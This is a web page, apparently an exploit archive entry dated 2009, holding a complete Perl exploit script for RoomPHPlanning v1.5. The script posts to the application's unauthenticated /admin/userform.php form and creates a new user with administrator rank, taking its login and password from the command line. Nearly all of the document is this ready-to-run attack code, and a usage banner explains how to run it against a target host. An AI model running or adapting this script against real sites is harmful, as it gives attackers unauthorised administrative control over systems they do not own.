Home / os / win10

roomphplanning-create.txt

Posted on 11 March 2009

#!/usr/bin/perl -w

use LWP::UserAgent;
use HTML::Form;

print "_________________________________________________________
";
print "[+]=>RoomPHPlanning
";
print "[+]=>v1.5
";
print "[+]=>Vul: Remote Create user with all permissions (admin)
";
print "[+]=>Author: Jonathan Salwan 
";
print "[+]=>Web: http://www.shell-storm.org
";
print "[+]=>Mail: submit [AT] shell-storm.org
";
print "_________________________________________________________

";

sub usage {
print "[+]=>usage: <file.pl> <host_&_patch> <login> <password>
";
print "[+]=>Ex: flood.pl http://localhost/patch/ admin2 toto
";exit;
}

if ($#ARGV < 2) {usage();}

$patch 	= "/admin/userform.php";
$host 	= $ARGV[0].$patch;
$login 	= $ARGV[1];
$pwd 	= $ARGV[2];
$name 	= "Administrateur";
$rank 	= "1";

print "[+]=>Sending...
";


my $u = LWP::UserAgent->new(agent => 'Mozilla/4.73 [en] (X11; I; Linux 2.2.16 i686; Nav)' );
my $req = HTTP::Request->new( GET => "${host}" );
my $res = $u->request($req);
my $send = HTML::Form->parse( $res->content, $host );

$send->find_input('name')->value($name);
$send->find_input('login')->value($login);
$send->find_input('pwd')->value($pwd);
$send->find_input('rank')->value($rank);

$u->request( $send->click );

print "[+]=>Done!
";
print "[+]=>Now, user $ARGV[1] is admin
";

 

TOP